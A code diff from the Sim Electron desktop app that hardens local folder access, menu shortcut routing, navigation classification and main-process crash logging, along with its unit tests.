if (!isAccountDataGenerationCurrent(generation)) {
|
||||
mount.stopAccessing?.()
|
||||
this.mounts.delete(id)
|
||||
await this.grantStore?.clear()
|
||||
throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.')
|
||||
}
|
||||
return { mount: this.publicMount(mount), cancelled: false }
|
||||
} catch (error) {
|
||||
stopAccessing?.()
|
||||
releaseAccess?.()
|
||||
throw error
|
||||
}
|
||||
}
|
||||
@@ -592,7 +692,9 @@ export class LocalFilesystemService {
|
||||
|
||||
private async restoreRememberedMounts(): Promise<void> {
|
||||
if (!this.grantStore) return
|
||||
const generation = captureAccountDataGeneration()
|
||||
const grants = await this.grantStore.load()
|
||||
if (!isAccountDataGenerationCurrent(generation)) return
|
||||
let skipped = false
|
||||
|
||||
for (const grant of grants) {
|
||||
@@ -604,6 +706,10 @@ export class LocalFilesystemService {
|
||||
try {
|
||||
const rootPath = await realpath(grant.rootPath)
|
||||
const rootStat = await stat(rootPath)
|
||||
if (!isAccountDataGenerationCurrent(generation)) {
|
||||
stopAccessing?.()
|
||||
return
|
||||
}
|
||||
if (!rootStat.isDirectory()) {
|
||||
stopAccessing?.()
|
||||
skipped = true
|
||||
@@ -625,7 +731,7 @@ export class LocalFilesystemService {
|
||||
}
|
||||
|
||||
if (skipped) {
|
||||
await this.persistMounts()
|
||||
await runAccountDataMutation(generation, () => this.persistMounts())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -658,19 +764,22 @@ export class LocalFilesystemService {
|
||||
}
|
||||
|
||||
private async forgetMount(uri: string): Promise<LocalFilesystemData> {
|
||||
const generation = captureAccountDataGeneration()
|
||||
const { mount } = this.parseUri(uri)
|
||||
mount.stopAccessing?.()
|
||||
this.mounts.delete(mount.id)
|
||||
|
||||
const persisted = await this.persistMounts()
|
||||
if (!persisted && this.grantStore) {
|
||||
// Fail closed: if an updated encrypted grant set cannot be written,
|
||||
// remove the store so a revoked mount cannot return after restart.
|
||||
await this.grantStore.clear()
|
||||
for (const remaining of this.mounts.values()) {
|
||||
remaining.remembered = false
|
||||
await runAccountDataMutation(generation, async () => {
|
||||
const persisted = await this.persistMounts()
|
||||
if (!persisted && this.grantStore) {
|
||||
// Fail closed: if an updated encrypted grant set cannot be written,
|
||||
// remove the store so a revoked mount cannot return after restart.
|
||||
await this.grantStore.clear()
|
||||
for (const remaining of this.mounts.values()) {
|
||||
remaining.remembered = false
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
return { forgotten: true }
|
||||
}
|
||||
|
||||
@@ -780,31 +889,37 @@ export class LocalFilesystemService {
|
||||
throw new LocalFilesystemError('NOT_A_DIRECTORY', 'The localfs URI is not a directory.')
|
||||
}
|
||||
|
||||
const directoryEntries = await readdir(resolvedPath.realPath, { withFileTypes: true })
|
||||
directoryEntries.sort((a, b) => a.name.localeCompare(b.name))
|
||||
const truncated = directoryEntries.length > MAX_LIST_ENTRIES
|
||||
// `allSettled`, so one entry disappearing mid-read does not fail the whole
|
||||
// listing. Build output, downloads and caches churn constantly, and a
|
||||
// single ENOENT should drop that row rather than the directory.
|
||||
const settled = await Promise.allSettled(
|
||||
directoryEntries.slice(0, MAX_LIST_ENTRIES).map(async (directoryEntry) => {
|
||||
const childRelativePath = [resolvedPath.relativePath, directoryEntry.name]
|
||||
.filter(Boolean)
|
||||
.join('/')
|
||||
const metadata = await lstat(resolve(resolvedPath.realPath, directoryEntry.name))
|
||||
const item: LocalFilesystemEntry = {
|
||||
name: directoryEntry.name,
|
||||
uri: localUri(resolvedPath.mount.id, childRelativePath),
|
||||
kind: entryKind(directoryEntry),
|
||||
size: metadata.size,
|
||||
modifiedAt: metadata.mtime.toISOString(),
|
||||
}
|
||||
return item
|
||||
})
|
||||
)
|
||||
const entries = settled.flatMap((result) =>
|
||||
result.status === 'fulfilled' ? [result.value] : []
|
||||
const { entries: directoryEntries, truncated } = await selectDirectoryEntries(
|
||||
resolvedPath.realPath,
|
||||
MAX_LIST_ENTRIES
|
||||
)
|
||||
|
||||
const entries: LocalFilesystemEntry[] = []
|
||||
for (let index = 0; index < directoryEntries.length; index += LIST_METADATA_BATCH_SIZE) {
|
||||
const batch = directoryEntries.slice(index, index + LIST_METADATA_BATCH_SIZE)
|
||||
const items = await Promise.all(
|
||||
batch.map(async (directoryEntry): Promise<LocalFilesystemEntry | null> => {
|
||||
try {
|
||||
const childRelativePath = [resolvedPath.relativePath, directoryEntry.name]
|
||||
.filter(Boolean)
|
||||
.join('/')
|
||||
const metadata = await lstat(resolve(resolvedPath.realPath, directoryEntry.name))
|
||||
return {
|
||||
name: directoryEntry.name,
|
||||
uri: localUri(resolvedPath.mount.id, childRelativePath),
|
||||
kind: entryKind(directoryEntry),
|
||||
size: metadata.size,
|
||||
modifiedAt: metadata.mtime.toISOString(),
|
||||
}
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
})
|
||||
)
|
||||
for (const item of items) {
|
||||
if (item) entries.push(item)
|
||||
}
|
||||
}
|
||||
return { entries, truncated }
|
||||
}
|
||||
|
||||
@@ -835,16 +950,16 @@ export class LocalFilesystemService {
|
||||
throwIfAborted(signal)
|
||||
const current = stack.pop()
|
||||
if (!current) break
|
||||
const children = await readdir(current.path, { withFileTypes: true })
|
||||
children.sort((a, b) => b.name.localeCompare(a.name))
|
||||
|
||||
for (const child of children) {
|
||||
const remaining = MAX_SCAN_ENTRIES - scanned
|
||||
if (remaining <= 0) {
|
||||
truncated = true
|
||||
break
|
||||
}
|
||||
const selection = await selectDirectoryEntries(current.path, remaining, signal)
|
||||
scanned += selection.entries.length
|
||||
const childDirectories: Array<{ path: string; relativeFromBase: string; depth: number }> = []
|
||||
for (const child of selection.entries) {
|
||||
throwIfAborted(signal)
|
||||
scanned++
|
||||
if (scanned > MAX_SCAN_ENTRIES) {
|
||||
truncated = true
|
||||
break
|
||||
}
|
||||
const relativeFromBase = [current.relativeFromBase, child.name].filter(Boolean).join('/')
|
||||
const childPath = resolve(current.path, child.name)
|
||||
const mountRelativePath = [resolvedPath.relativePath, relativeFromBase]
|
||||
@@ -868,13 +983,20 @@ export class LocalFilesystemService {
|
||||
}
|
||||
|
||||
if (child.isDirectory() && !child.isSymbolicLink() && current.depth < MAX_SCAN_DEPTH) {
|
||||
stack.push({
|
||||
childDirectories.push({
|
||||
path: childPath,
|
||||
relativeFromBase,
|
||||
depth: current.depth + 1,
|
||||
})
|
||||
}
|
||||
}
|
||||
if (selection.truncated) {
|
||||
truncated = true
|
||||
break
|
||||
}
|
||||
for (let index = childDirectories.length - 1; index >= 0; index--) {
|
||||
stack.push(childDirectories[index])
|
||||
}
|
||||
}
|
||||
|
||||
entries.sort((a, b) => a.uri.localeCompare(b.uri))
|
||||
@@ -1080,18 +1202,20 @@ export class LocalFilesystemService {
|
||||
throwIfAborted(signal)
|
||||
const current = stack.pop()
|
||||
if (!current) break
|
||||
const children = await readdir(current.path, { withFileTypes: true })
|
||||
for (const child of children) {
|
||||
const remaining = MAX_SCAN_ENTRIES - scanned
|
||||
if (remaining <= 0) {
|
||||
truncated = true
|
||||
break
|
||||
}
|
||||
const selection = await selectDirectoryEntries(current.path, remaining, signal)
|
||||
scanned += selection.entries.length
|
||||
const childDirectories: Array<{ path: string; relativeFromBase: string; depth: number }> = []
|
||||
for (const child of selection.entries) {
|
||||
throwIfAborted(signal)
|
||||
scanned++
|
||||
if (scanned > MAX_SCAN_ENTRIES) {
|
||||
truncated = true
|
||||
break
|
||||
}
|
||||
const relativeFromBase = [current.relativeFromBase, child.name].filter(Boolean).join('/')
|
||||
const childPath = resolve(current.path, child.name)
|
||||
if (child.isDirectory() && !child.isSymbolicLink() && current.depth < MAX_SCAN_DEPTH) {
|
||||
stack.push({
|
||||
childDirectories.push({
|
||||
path: childPath,
|
||||
relativeFromBase,
|
||||
depth: current.depth + 1,
|
||||
@@ -1112,6 +1236,13 @@ export class LocalFilesystemService {
|
||||
break
|
||||
}
|
||||
}
|
||||
if (selection.truncated) {
|
||||
truncated = true
|
||||
break
|
||||
}
|
||||
for (let index = childDirectories.length - 1; index >= 0; index--) {
|
||||
stack.push(childDirectories[index])
|
||||
}
|
||||
}
|
||||
|
||||
if (outputMode === 'files_with_matches') {
|
||||
|
||||
@@ -16,6 +16,7 @@ function makeDeps(origin = 'https://sim.ai'): MenuDeps {
|
||||
set: vi.fn(),
|
||||
} as unknown as ConfigStore,
|
||||
getMainWindow: vi.fn(() => null),
|
||||
isMainWindow: vi.fn(() => true),
|
||||
allowHttpLocalhost: vi.fn(() => false),
|
||||
openSettings: vi.fn(),
|
||||
openServerSettings: vi.fn(),
|
||||
@@ -26,6 +27,7 @@ function makeDeps(origin = 'https://sim.ai'): MenuDeps {
|
||||
openSearch: vi.fn(),
|
||||
signOut: vi.fn(),
|
||||
checkForUpdates: vi.fn(),
|
||||
openDiagnostics: vi.fn(),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -56,8 +58,6 @@ describe('buildMenuTemplate', () => {
|
||||
'Check for Updates…',
|
||||
'Sign Out',
|
||||
'separator',
|
||||
'services',
|
||||
'separator',
|
||||
'hide',
|
||||
'hideOthers',
|
||||
'unhide',
|
||||
@@ -102,16 +102,36 @@ describe('buildMenuTemplate', () => {
|
||||
])
|
||||
})
|
||||
|
||||
it('keeps Help limited to documentation and Sim status', () => {
|
||||
it('keeps Help limited to support and diagnostics', () => {
|
||||
const help = submenu(buildMenuTemplate(makeDeps()), 'Help')
|
||||
expect(help.map((item) => item.label)).toEqual(['Sim Documentation', 'Sim Status'])
|
||||
expect(help.map((item) => item.label ?? item.type)).toEqual([
|
||||
'Sim Documentation',
|
||||
'Sim Status',
|
||||
'separator',
|
||||
'Show Diagnostic Logs',
|
||||
])
|
||||
})
|
||||
|
||||
// status.sim.ai reports on Sim's deployments only, so it is worse than
|
||||
// useless to an operator whose own server is the one that is down.
|
||||
it('drops Sim status for a self-hosted server', () => {
|
||||
const help = submenu(buildMenuTemplate(makeDeps('https://sim.example.com')), 'Help')
|
||||
expect(help.map((item) => item.label)).toEqual(['Sim Documentation'])
|
||||
expect(help.map((item) => item.label ?? item.type)).toEqual([
|
||||
'Sim Documentation',
|
||||
'separator',
|
||||
'Show Diagnostic Logs',
|
||||
])
|
||||
})
|
||||
|
||||
it('opens local diagnostics from Help', () => {
|
||||
const deps = makeDeps()
|
||||
const item = submenu(buildMenuTemplate(deps), 'Help').find(
|
||||
(entry) => entry.label === 'Show Diagnostic Logs'
|
||||
)
|
||||
|
||||
;(item?.click as () => void)()
|
||||
|
||||
expect(deps.openDiagnostics).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('never exposes developer tools in the application menu', () => {
|
||||
@@ -119,7 +139,7 @@ describe('buildMenuTemplate', () => {
|
||||
expect(view.some((item) => item.role === 'toggleDevTools')).toBe(false)
|
||||
})
|
||||
|
||||
it('reserves the close-tab accelerator for resources and never closes the window', () => {
|
||||
it('closes the main window when no resource claims the close-tab accelerator', () => {
|
||||
const handleFocusedResourceShortcut = vi.fn(() => true)
|
||||
const deps = Object.assign(makeDeps(), { handleFocusedResourceShortcut })
|
||||
const closeItem = submenu(buildMenuTemplate(deps), 'File').find(
|
||||
@@ -141,7 +161,39 @@ describe('buildMenuTemplate', () => {
|
||||
|
||||
handleFocusedResourceShortcut.mockReturnValue(false)
|
||||
click({}, focusedWindow)
|
||||
expect(focusedWindow.close).not.toHaveBeenCalled()
|
||||
expect(focusedWindow.close).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('keeps resource, reload, and zoom accelerators out of utility windows', () => {
|
||||
const mainWindow = new BrowserWindow()
|
||||
const utilityWindow = new BrowserWindow()
|
||||
const handleFocusedResourceShortcut = vi.fn(() => false)
|
||||
const deps = Object.assign(makeDeps(), {
|
||||
getMainWindow: vi.fn(() => mainWindow),
|
||||
isMainWindow: vi.fn((win: BrowserWindow) => win === mainWindow),
|
||||
handleFocusedResourceShortcut,
|
||||
})
|
||||
const template = buildMenuTemplate(deps)
|
||||
const file = submenu(template, 'File')
|
||||
const view = submenu(template, 'View')
|
||||
const invoke = (item: MenuItemConstructorOptions | undefined) =>
|
||||
(item?.click as unknown as (menuItem: unknown, browserWindow: BrowserWindow) => void)(
|
||||
{},
|
||||
utilityWindow
|
||||
)
|
||||
|
||||
invoke(file.find((item) => item.accelerator === 'CmdOrCtrl+T'))
|
||||
invoke(view.find((item) => item.accelerator === 'CmdOrCtrl+R'))
|
||||
invoke(view.find((item) => item.accelerator === 'CmdOrCtrl+Plus'))
|
||||
|
||||
expect(handleFocusedResourceShortcut).not.toHaveBeenCalled()
|
||||
expect(mainWindow.webContents.reload).not.toHaveBeenCalled()
|
||||
expect(utilityWindow.webContents.reload).not.toHaveBeenCalled()
|
||||
expect(deps.config.set).not.toHaveBeenCalledWith('zoomLevel', expect.anything())
|
||||
|
||||
invoke(file.find((item) => item.accelerator === 'CmdOrCtrl+W'))
|
||||
expect(utilityWindow.close).toHaveBeenCalledOnce()
|
||||
expect(mainWindow.close).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('always offers a separate close-window accelerator', () => {
|
||||
|
||||
@@ -13,6 +13,7 @@ const ZOOM_STEP = 0.5
|
||||
export interface MenuDeps {
|
||||
config: ConfigStore
|
||||
getMainWindow: () => BrowserWindow | null
|
||||
isMainWindow: (win: BrowserWindow) => boolean
|
||||
allowHttpLocalhost: () => boolean
|
||||
openSettings: () => void
|
||||
/** Opens the native server picker (see main/server-window.ts). */
|
||||
@@ -32,6 +33,7 @@ export interface MenuDeps {
|
||||
openSearch: () => void
|
||||
signOut: () => void
|
||||
checkForUpdates: () => void
|
||||
openDiagnostics: () => void
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -40,22 +42,29 @@ export interface MenuDeps {
|
||||
* the zoom level persists across launches.
|
||||
*/
|
||||
export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] {
|
||||
const withWindow = (fn: (win: BrowserWindow) => void) => () => {
|
||||
const win = deps.getMainWindow()
|
||||
if (win && !win.isDestroyed()) {
|
||||
fn(win)
|
||||
/** Utility windows must not redirect resource commands into the hidden main window. */
|
||||
const focusedMainOrFallback = (focusedWindow: unknown): BrowserWindow | null => {
|
||||
if (focusedWindow instanceof BrowserWindow) {
|
||||
return !focusedWindow.isDestroyed() && deps.isMainWindow(focusedWindow) ? focusedWindow : null
|
||||
}
|
||||
const fallback = deps.getMainWindow()
|
||||
return fallback && !fallback.isDestroyed() ? fallback : null
|
||||
}
|
||||
|
||||
/** Accelerators fire on whichever window has focus; fall back to the main one. */
|
||||
const focusedOrMain = (focusedWindow: unknown): BrowserWindow | null =>
|
||||
focusedWindow instanceof BrowserWindow ? focusedWindow : deps.getMainWindow()
|
||||
const focusedWindowOrMain = (focusedWindow: unknown): BrowserWindow | null => {
|
||||
if (focusedWindow instanceof BrowserWindow) {
|
||||
return focusedWindow.isDestroyed() ? null : focusedWindow
|
||||
}
|
||||
const fallback = deps.getMainWindow()
|
||||
return fallback && !fallback.isDestroyed() ? fallback : null
|
||||
}
|
||||
|
||||
const resourceShortcut = (
|
||||
shortcut: FocusedResourceShortcut
|
||||
): NonNullable<MenuItemConstructorOptions['click']> => {
|
||||
return (_item, focusedWindow) => {
|
||||
deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), shortcut)
|
||||
const win = focusedMainOrFallback(focusedWindow)
|
||||
if (win) deps.handleFocusedResourceShortcut(win, shortcut)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -76,8 +85,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
|
||||
const resolve = (current: number) =>
|
||||
action === 'reset' ? 0 : action === 'in' ? current + ZOOM_STEP : current - ZOOM_STEP
|
||||
return (_item, focusedWindow) => {
|
||||
const win = focusedOrMain(focusedWindow)
|
||||
if (!win || win.isDestroyed()) return
|
||||
const win = focusedMainOrFallback(focusedWindow)
|
||||
if (!win) return
|
||||
if (deps.handleFocusedResourceShortcut(win, `zoom-${action}`)) return
|
||||
const level = resolve(win.webContents.getZoomLevel())
|
||||
win.webContents.setZoomLevel(level)
|
||||
@@ -110,19 +119,21 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
|
||||
{
|
||||
label: 'Back',
|
||||
accelerator: 'CmdOrCtrl+[',
|
||||
click: withWindow((win) => {
|
||||
click: (_item, focusedWindow) => {
|
||||
const win = focusedMainOrFallback(focusedWindow)
|
||||
if (!win) return
|
||||
const history = win.webContents.navigationHistory
|
||||
if (history.canGoBack()) {
|
||||
history.goBack()
|
||||
}
|
||||
}),
|
||||
},
|
||||
},
|
||||
{
|
||||
label: 'Reload',
|
||||
accelerator: 'CmdOrCtrl+R',
|
||||
click: (_item, focusedWindow) => {
|
||||
const win = focusedOrMain(focusedWindow)
|
||||
if (!win || win.isDestroyed()) return
|
||||
const win = focusedMainOrFallback(focusedWindow)
|
||||
if (!win) return
|
||||
if (deps.handleFocusedResourceShortcut(win, 'reload-or-clear')) return
|
||||
win.webContents.reload()
|
||||
},
|
||||
@@ -137,8 +148,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
|
||||
label: 'Force Reload',
|
||||
accelerator: 'CmdOrCtrl+Shift+R',
|
||||
click: (_item, focusedWindow) => {
|
||||
const win = focusedOrMain(focusedWindow)
|
||||
if (!win || win.isDestroyed()) return
|
||||
const win = focusedMainOrFallback(focusedWindow)
|
||||
if (!win) return
|
||||
if (deps.handleFocusedResourceShortcut(win, 'hard-reload')) return
|
||||
win.webContents.reloadIgnoringCache()
|
||||
},
|
||||
@@ -161,8 +172,6 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
|
||||
{ label: 'Check for Updates…', click: deps.checkForUpdates },
|
||||
{ label: 'Sign Out', click: deps.signOut },
|
||||
{ type: 'separator' },
|
||||
{ role: 'services' },
|
||||
{ type: 'separator' },
|
||||
{ role: 'hide' },
|
||||
{ role: 'hideOthers' },
|
||||
{ role: 'unhide' },
|
||||
@@ -184,8 +193,7 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
|
||||
label: 'Close Window',
|
||||
accelerator: 'CmdOrCtrl+Shift+W',
|
||||
click: (_item, focusedWindow) => {
|
||||
const win = focusedOrMain(focusedWindow)
|
||||
if (win && !win.isDestroyed()) win.close()
|
||||
focusedWindowOrMain(focusedWindow)?.close()
|
||||
},
|
||||
},
|
||||
/**
|
||||
@@ -202,7 +210,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
|
||||
accelerator: 'CmdOrCtrl+T',
|
||||
visible: false,
|
||||
click: (_item, focusedWindow) => {
|
||||
deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), 'new-tab')
|
||||
const win = focusedMainOrFallback(focusedWindow)
|
||||
if (win) deps.handleFocusedResourceShortcut(win, 'new-tab')
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -210,7 +219,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
|
||||
accelerator: 'CmdOrCtrl+Shift+T',
|
||||
visible: false,
|
||||
click: (_item, focusedWindow) => {
|
||||
deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), 'reopen-closed-tab')
|
||||
const win = focusedMainOrFallback(focusedWindow)
|
||||
if (win) deps.handleFocusedResourceShortcut(win, 'reopen-closed-tab')
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -237,8 +247,12 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
|
||||
accelerator: 'CmdOrCtrl+W',
|
||||
visible: false,
|
||||
click: (_item, focusedWindow) => {
|
||||
const win = focusedOrMain(focusedWindow)
|
||||
deps.handleFocusedResourceShortcut(win, 'close-tab')
|
||||
const win = focusedWindowOrMain(focusedWindow)
|
||||
if (!win) return
|
||||
if (deps.isMainWindow(win) && deps.handleFocusedResourceShortcut(win, 'close-tab')) {
|
||||
return
|
||||
}
|
||||
win.close()
|
||||
},
|
||||
},
|
||||
],
|
||||
@@ -263,6 +277,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[]
|
||||
},
|
||||
]
|
||||
: []),
|
||||
{ type: 'separator' },
|
||||
{ label: 'Show Diagnostic Logs', click: deps.openDiagnostics },
|
||||
],
|
||||
},
|
||||
]
|
||||
|
||||
@@ -77,13 +77,13 @@ describe('classifyNavigation', () => {
|
||||
).toBe('idp-system-login')
|
||||
})
|
||||
|
||||
it('keeps the same IdP in-window when it is an integration connect', () => {
|
||||
it('routes non-handoff integration departures out of the privileged app window', () => {
|
||||
expect(
|
||||
classifyNavigation('https://github.com/login/oauth/authorize?client_id=x', {
|
||||
appOrigin: APP,
|
||||
currentUrl: `${APP}/workspace/ws1/integrations/github`,
|
||||
})
|
||||
).toBe('idp-in-window')
|
||||
).toBe('external')
|
||||
})
|
||||
|
||||
it('sends unknown hosts from an auth surface to the system browser (SSO safe default)', () => {
|
||||
@@ -95,22 +95,22 @@ describe('classifyNavigation', () => {
|
||||
).toBe('idp-system-login')
|
||||
})
|
||||
|
||||
it('keeps unknown hosts from workspace pages in-window (integration OAuth is a same-window redirect)', () => {
|
||||
it('does not infer OAuth from an unknown cross-origin workspace navigation', () => {
|
||||
expect(
|
||||
classifyNavigation('https://api.notion.com/v1/oauth/authorize?x=1', {
|
||||
appOrigin: APP,
|
||||
currentUrl: `${APP}/workspace/ws1/integrations/notion`,
|
||||
})
|
||||
).toBe('idp-in-window')
|
||||
).toBe('external')
|
||||
})
|
||||
|
||||
it('allows continuation navigation while already on an IdP host', () => {
|
||||
it('does not keep arbitrary cross-origin continuation pages in the app window', () => {
|
||||
expect(
|
||||
classifyNavigation('https://github.com/sessions/two-factor', {
|
||||
appOrigin: APP,
|
||||
currentUrl: 'https://github.com/login',
|
||||
})
|
||||
).toBe('idp-in-window')
|
||||
).toBe('external')
|
||||
})
|
||||
|
||||
it('allows any https navigation inside popups', () => {
|
||||
|
||||
@@ -7,7 +7,6 @@ const logger = createLogger('DesktopNavigation')
|
||||
|
||||
export type MainNavigationAction =
|
||||
| 'in-app'
|
||||
| 'idp-in-window'
|
||||
| 'idp-system-login'
|
||||
| 'idp-system-connect'
|
||||
| 'external'
|
||||
@@ -104,10 +103,10 @@ export function isAuthSurfacePath(pathname: string): boolean {
|
||||
* else comes back `state_mismatch`. The handoff keeps the whole flow in one
|
||||
* jar and hands a one-time token back over the loopback.
|
||||
*
|
||||
* Everything else is an integration connect from a workspace page: those stay
|
||||
* in-window (the session cookie is already in this partition) unless the IdP
|
||||
* hard-blocks embedded user agents, which is what {@link
|
||||
* SYSTEM_BROWSER_IDP_HOSTS} enumerates.
|
||||
* Integration connects use the explicit desktop handoff IPC. A cross-origin
|
||||
* departure from any other app page is therefore an ordinary external
|
||||
* navigation, not evidence of OAuth, and must never replace the privileged
|
||||
* app document that owns the preload bridge.
|
||||
*/
|
||||
export function classifyNavigation(rawUrl: string, ctx: NavigationContext): MainNavigationAction {
|
||||
if (rawUrl === 'about:blank') {
|
||||
@@ -133,7 +132,7 @@ export function classifyNavigation(rawUrl: string, ctx: NavigationContext): Main
|
||||
if (matchesHostList(url.hostname, SYSTEM_BROWSER_IDP_HOSTS)) {
|
||||
return 'idp-system-connect'
|
||||
}
|
||||
return 'idp-in-window'
|
||||
return 'external'
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -1,8 +1,12 @@
|
||||
import { existsSync, mkdtempSync, readFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { createEventLog, scrubUrl } from '@/main/observability'
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
vi.mock('electron', () => import('@/test/electron-mock'))
|
||||
|
||||
import { app, dialog } from 'electron'
|
||||
import { createEventLog, installMainProcessFailureObservers, scrubUrl } from '@/main/observability'
|
||||
|
||||
describe('scrubUrl', () => {
|
||||
it('drops query strings and fragments so tokens never reach the log', () => {
|
||||
@@ -40,3 +44,78 @@ describe('createEventLog', () => {
|
||||
expect(existsSync(`${events.filePath}.1`)).toBe(true)
|
||||
})
|
||||
})
|
||||
|
||||
describe('installMainProcessFailureObservers', () => {
|
||||
function createProcessSource() {
|
||||
const handlers = new Map<string, (...args: never[]) => void>()
|
||||
return {
|
||||
handlers,
|
||||
source: {
|
||||
on: vi.fn((event: string, handler: (...args: never[]) => void) => {
|
||||
handlers.set(event, handler)
|
||||
}),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks()
|
||||
})
|
||||
|
||||
it('records unexpected child-process exits once per failure burst', () => {
|
||||
vi.useFakeTimers()
|
||||
try {
|
||||
const events = { filePath: '/tmp/events.log', record: vi.fn() }
|
||||
const { source } = createProcessSource()
|
||||
installMainProcessFailureObservers({ events, getWindow: () => null, processSource: source })
|
||||
const appHandlers = vi.mocked(app.on).mock.calls as unknown as Array<
|
||||
[string, (...args: never[]) => void]
|
||||
>
|
||||
const handler = appHandlers.find(([event]) => event === 'child-process-gone')?.[1] as
|
||||
| ((event: unknown, details: Record<string, unknown>) => void)
|
||||
| undefined
|
||||
const details = { type: 'GPU', reason: 'crashed', exitCode: 9, serviceName: 'GPU' }
|
||||
|
||||
handler?.({}, details)
|
||||
handler?.({}, details)
|
||||
|
||||
expect(events.record).toHaveBeenCalledOnce()
|
||||
expect(events.record).toHaveBeenCalledWith('child_process_gone', details)
|
||||
|
||||
vi.advanceTimersByTime(5_000)
|
||||
handler?.({}, details)
|
||||
expect(events.record).toHaveBeenCalledTimes(2)
|
||||
} finally {
|
||||
vi.useRealTimers()
|
||||
}
|
||||
})
|
||||
|
||||
it('shows one recovery prompt for simultaneous fatal failures', async () => {
|
||||
let resolvePrompt: ((value: { response: number; checkboxChecked: boolean }) => void) | undefined
|
||||
vi.mocked(dialog.showMessageBox).mockImplementationOnce(
|
||||
() =>
|
||||
new Promise((resolve) => {
|
||||
resolvePrompt = resolve
|
||||
})
|
||||
)
|
||||
const events = { filePath: '/tmp/events.log', record: vi.fn() }
|
||||
const { handlers, source } = createProcessSource()
|
||||
installMainProcessFailureObservers({ events, getWindow: () => null, processSource: source })
|
||||
|
||||
const fatalError = new Error('secret')
|
||||
fatalError.name = 'Bearer SECRET'
|
||||
handlers.get('unhandledRejection')?.(fatalError as never)
|
||||
handlers.get('uncaughtException')?.(new Error('second') as never)
|
||||
|
||||
expect(dialog.showMessageBox).toHaveBeenCalledOnce()
|
||||
expect(events.record).toHaveBeenCalledOnce()
|
||||
expect(events.record).toHaveBeenCalledWith('main_unhandled_rejection', {
|
||||
valueType: 'Error',
|
||||
})
|
||||
expect(JSON.stringify(events.record.mock.calls)).not.toContain('SECRET')
|
||||
|
||||
resolvePrompt?.({ response: 0, checkboxChecked: false })
|
||||
await vi.waitFor(() => expect(app.relaunch).toHaveBeenCalledOnce())
|
||||
expect(app.exit).toHaveBeenCalledWith(1)
|
||||
})
|
||||
})
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
import { appendFileSync, mkdirSync, renameSync, statSync } from 'node:fs'
|
||||
import { join } from 'node:path'
|
||||
import { createLogger } from '@sim/logger'
|
||||
import type { BrowserWindow, Details } from 'electron'
|
||||
import { app, dialog } from 'electron'
|
||||
|
||||
const logger = createLogger('DesktopEvents')
|
||||
|
||||
@@ -20,6 +22,9 @@ export type DesktopEventName =
|
||||
| 'load_failure'
|
||||
| 'renderer_gone'
|
||||
| 'renderer_unresponsive'
|
||||
| 'child_process_gone'
|
||||
| 'main_unhandled_rejection'
|
||||
| 'main_uncaught_exception'
|
||||
| 'sign_out'
|
||||
| 'origin_changed'
|
||||
| 'handoff_started'
|
||||
@@ -34,6 +39,97 @@ export interface EventRecorder {
|
||||
record(name: DesktopEventName, data?: Record<string, string | number | boolean>): void
|
||||
}
|
||||
|
||||
interface ProcessFailureSource {
|
||||
on(event: 'unhandledRejection', listener: (reason: unknown) => void): void
|
||||
on(event: 'uncaughtException', listener: (error: Error) => void): void
|
||||
}
|
||||
|
||||
export interface MainProcessFailureObserverDeps {
|
||||
events: EventRecorder
|
||||
getWindow: () => BrowserWindow | null
|
||||
processSource?: ProcessFailureSource
|
||||
}
|
||||
|
||||
const FAILURE_DEDUPE_MS = 5_000
|
||||
|
||||
/**
|
||||
* Records native child-process failures and gives a fatal main-process error a
|
||||
* single native recovery surface. Error text is deliberately excluded from
|
||||
* the structured log because rejected values can contain request payloads or
|
||||
* credentials; the event kind and crash dumps are enough for triage.
|
||||
*/
|
||||
export function installMainProcessFailureObservers({
|
||||
events,
|
||||
getWindow,
|
||||
processSource = process,
|
||||
}: MainProcessFailureObserverDeps): void {
|
||||
let fatalRecoveryOpen = false
|
||||
let lastChildFailure = ''
|
||||
let lastChildFailureAt = 0
|
||||
|
||||
const onChildProcessGone = (_event: unknown, details: Details): void => {
|
||||
if (details.reason === 'clean-exit') return
|
||||
const signature = `${details.type}:${details.reason}:${details.exitCode}:${details.serviceName ?? ''}`
|
||||
const now = Date.now()
|
||||
if (signature === lastChildFailure && now - lastChildFailureAt < FAILURE_DEDUPE_MS) return
|
||||
lastChildFailure = signature
|
||||
lastChildFailureAt = now
|
||||
events.record('child_process_gone', {
|
||||
type: details.type,
|
||||
reason: details.reason,
|
||||
exitCode: details.exitCode,
|
||||
...(details.serviceName ? { serviceName: details.serviceName } : {}),
|
||||
})
|
||||
logger.error('Electron child process exited unexpectedly', {
|
||||
type: details.type,
|
||||
reason: details.reason,
|
||||
exitCode: details.exitCode,
|
||||
})
|
||||
}
|
||||
